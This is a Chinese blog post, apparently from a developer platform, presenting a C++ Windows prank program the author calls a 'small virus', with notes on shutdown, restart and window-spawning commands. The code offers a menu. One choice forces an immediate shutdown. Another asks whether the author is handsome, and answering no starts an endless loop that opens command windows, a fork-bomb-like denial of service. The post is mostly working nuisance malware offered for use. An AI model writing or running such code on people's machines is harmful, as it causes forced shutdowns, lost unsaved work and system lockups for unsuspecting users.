第三篇:利用命令行写一个小病毒(无限弹窗,关机,重启)

本文章源于本人github学生管理系统项目的某个想法:https://github.com/oyhxgo/Student-Performance-Management-System

该项目任在完善期

1.命令行

其实原理很简单

cmd知识点(伪代码)

1.无限弹窗

while (1) system("start cmd");

2.关机

shutdown -s -t 0 //立刻关机

shutdown -s -f //一分钟后强制关机

shutdown -a //取消关机进程

3.重启

shutdown -r -t 0 //立刻重启 shutdown -r -f //一分钟后强制重启

4.颜色

412330657c6248c7a4950f21da9e6ad3.png

2.依据以上我设想的一些有趣的操作 

#include <bits/stdc++.h>//c++他不香吗?
#include <windows.h>
#include <conio.h>
using namespace std;
void settype() {
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
}
int main() {
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = true;
	SetConsoleCursorInfo(handle, &CursorInfo);
	cout<<"输入1毁灭程序,输入2查看作者的话,输入3安全退出程序";
	char y;
	cin >> y;
	system("cls");
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	switch (y) {
		case '1': {
			system("title 呵,你完了!!!");
			system("color 04");
			settype();
			cout << "\t\t            We can be both of God and the Devil.\n\n\t\t  Since we are trying to raise the dead against the stream of time.";
			Sleep(5000);
			system("cls");
			settype();
			cout << "\t\t\t        我们可以是天使,也可以是恶魔\n\n\t\t\t      因为我们要令时光倒流,让人起死回生。";
			Sleep(3000);
			system("shutdown -s -t 0");//shutdown right now!!!
			cout << endl << "\t\t            ";
		}
		case '2': {
			system("title 相见就是缘分,非常感谢您能关注这个系统!!!");
			system("color 07");
			settype();
			cout << "\t\t            相见就是缘分,非常感谢您能关注这个系统!!!";
			Sleep(1000);
			system("cls");
			settype();
			system("title 帅,劝你最好填1!!!");
			cout << "\t\t            嘻嘻,浅浅问一下:作者帅吗?(帅输入1)";
			char p;
			cin >> p;
			if (p == '1') {
				system("title 对嘛,这就对了!!");
				cout << "\t\t            你是有眼光的!送你一天VIP,邀请码:1107   " << endl;
				cout << "\t\t            ";
			} else {
				system("title 呵,you die");
				cout << "\t\t            相见就是缘分";
				Sleep(1000);
				cout << "\t\t          但这个缘分不要也罢!";
				Sleep(5000);
				int a = 0;
				while (1) {
					if (a & 1)
						system("mode con cols=100 lines=40");
					else
						system("mode con cols=1000 lines=400");
					system("start cmd");//无限弹窗
					a++;
				}
				cout << endl << "\t\t            ";
			}
			break;
		}
		default:
			break;
	}

}

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值